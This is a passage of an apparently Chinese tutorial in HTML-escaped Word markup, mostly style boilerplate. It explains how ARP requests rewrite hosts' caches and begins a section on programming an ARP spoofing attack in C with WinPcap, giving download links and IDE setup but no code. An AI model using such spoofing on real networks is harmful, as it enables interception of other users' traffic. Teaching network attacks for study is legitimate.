name=&quot;Closing&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Default Paragraph Font&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Message Header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Subtitle&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Salutation&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Date&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Note Heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Block Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Hyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;FollowedHyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Strong&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Emphasis&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Document Map&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Plain Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;E-mail Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal (Web)&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Acronym&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Cite&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Code&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Definition&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Keyboard&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Preformatted&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Sample&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Typewriter&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;HTML Variable&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Table&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation subject&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;No List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Balloon Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;\/w:latentstyles&gt;&lt;\/xml&gt;&lt;![endif]--&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;\u6b64\u8bf7\u6c42\u5305\u7684\u4f5c\u7528\u662f\u8bf7\u6c42&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3a\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.3&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684\u4e3b\u673a\u5c06\u81ea\u5df1\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u53d1\u9001\u5230&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684\u4e3b\u673a\u4e0a\uff0c\u6bcf\u4e2a\u6536\u5230\u6b64\u8bf7\u6c42\u5305\u7684\u4e3b\u673a\u90fd\u4f1a\u9a8c\u8bc1\u81ea\u5df1\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u662f\u5426\u4e3a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.3&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u82e5\u662f\u5219\u53d1\u9001\u4e00\u4e2a\u5305\u542b\u81ea\u5df1&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u7ed9\u4e3b\u673a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u4ece\u4e0a\u9762\u7684\u4f8b\u5b50\u53ef\u4ee5\u770b\u51fa\uff0c\u53ea\u6709&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u7b26\u5408\uff0c\u6240\u4ee5&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4f1a\u53d1\u9001\u4e00\u4e2a\u5e94\u7b54\u5305\u7ed9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\uff0c\u4e0e\u6b64\u540c\u65f6\uff0c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e5f\u4f1a\u901a\u8fc7\u8fd9\u4e2a\u8bf7\u6c42\u5305\u4fee\u6539\u672c\u5730\u7f13\u5b58\u8868\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f7f\u5f97&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u76f8\u5bf9\u5e94\u3002\u867d\u7136\u662f\u53ea\u6709&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u5411&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u53d1\u9001\u4e86\u8bf7\u6c42\u5305\uff0c\u4f46\u662f\u7531\u4e8e\u5168\u7f51\u4e3b\u673a\u90fd\u63a5\u6536\u5230\u4e86\u6b64&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305\uff0c\u6240\u4ee5\u90fd\u4f1a\u6839\u636e&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e27\u4e2d\u7684\u6570\u636e\u4fee\u6539\u81ea\u5df1\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7f13\u5b58\u8868\uff0c\u6bd4\u5982\u4f60\u53ef\u4ee5\u5728&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;C&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e2d\u53d1\u73b0\uff0c\u7f13\u5b58\u8868\u4e5f\u88ab\u4fee\u6539\u4e3a\u4e86\u6b64\u5bf9\u5e94\u5173\u7cfb\uff1a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;192.168.0.1&#8211;aaaaaaaaaaaa&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l0 level1 lfo1;&quot;&gt;\n\t&lt;span style=&quot;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;\u4e09\u3001&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7f16\u7a0b\u5b9e\u73b0&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6b3a\u9a97\u653b\u51fb&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u672c\u7a0b\u5e8f\u7528&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;C&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bed\u8a00\u5b9e\u73b0\uff0c\u5229\u7528&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;winpacp&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5b9e\u73b0\u53d1\u9001\u81ea\u5b9a\u4e49\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\uff0c\u4ee5\u8fbe\u5230&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6b3a\u9a97\u7684\u76ee\u7684\u3002\u9996\u5148\u4ece&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;http:\/\/www.winpcap.org\/archive\/&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e0b\u8f7d&lt;\/span&gt;&lt;\/span&gt;&lt;span&gt;&lt;a href=&quot;http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip&quot;&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4.1beta5_WpdPack.zip&lt;\/span&gt;&lt;\/a&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u548c&lt;\/span&gt;&lt;span&gt;&lt;a href=&quot;http:\/\/www.winpcap.org\/archive\/4.1beta5_WinPcap.exe&quot;&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4.1beta5_WinPcap.exe&lt;\/span&gt;&lt;\/a&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;text-decoration:underline;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5b89\u88c5\u5b8c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4.1beta5_WinPcap.exe&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u540e\u5c06&lt;\/span&gt;&lt;span&gt;&lt;a href=&quot;http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip&quot;&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4.1beta5_WpdPack.zip&lt;\/span&gt;&lt;\/a&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u89e3\u538b\u7f29\u3002\u7136\u540e\u5728\u4f60\u7684&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;IDE\u4e2d\u6dfb\u52a0\u5934\u6587\u4ef6\u548c\u5e93\u6587\u4ef6\u7684include\u8def\u5f84\u3002\u6bd4\u5982\u6211\u7528\u7684\u662fCode::Blocks\uff0c\u5219\u505a\u5982\u4e0b\u8bbe\u7f6e\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;(1)Settings-&gt;Complier-&gt;Search&nbsp;directories-&gt;Compiler-&gt;Add-&gt;(\u9009\u62e9\u4f60&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5c06&lt;\/span&gt;&lt;span&gt;&lt;a href=&quot;http:\/\/www.winpcap.org\/archive\/4.1beta5_WpdPack.zip&quot;&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;4.1beta5_WpdPack.zip&lt;\/span&gt;&lt;\/a&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u89e3\u538b\u540e&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;Include\u7684\u76ee\u5f55\u8def\u5f84)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:worddocument&gt;&lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;\/w:browserlevel&gt;&lt;w:displayhorizontaldrawinggridevery&gt;0&lt;\/w:displayhorizontaldrawinggridevery&gt;&lt;w:displayverticaldrawinggridevery&gt;2&lt;\/w:displayverticaldrawinggridevery&gt;&lt;w:documentkind&gt;DocumentNotSpecified&lt;\/w:documentkind&gt;&lt;w:drawinggridverticalspacing&gt;7.8&lt;\/w:drawinggridverticalspacing&gt;&lt;w:view&gt;Normal&lt;\/w:view&gt;&lt;w:compatibility&gt;&lt;w:dontgrowautofit \/&gt;&lt;\/w:compatibility&gt;&lt;w:zoom&gt;0&lt;\/w:zoom&gt;&lt;\/w:worddocument&gt;&lt;\/xml&gt;&lt;![endif]--&gt;&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;156&quot;&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footer&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;caption&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of figures&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope return&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;line number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;page number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of authorities&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;macro&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toa heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 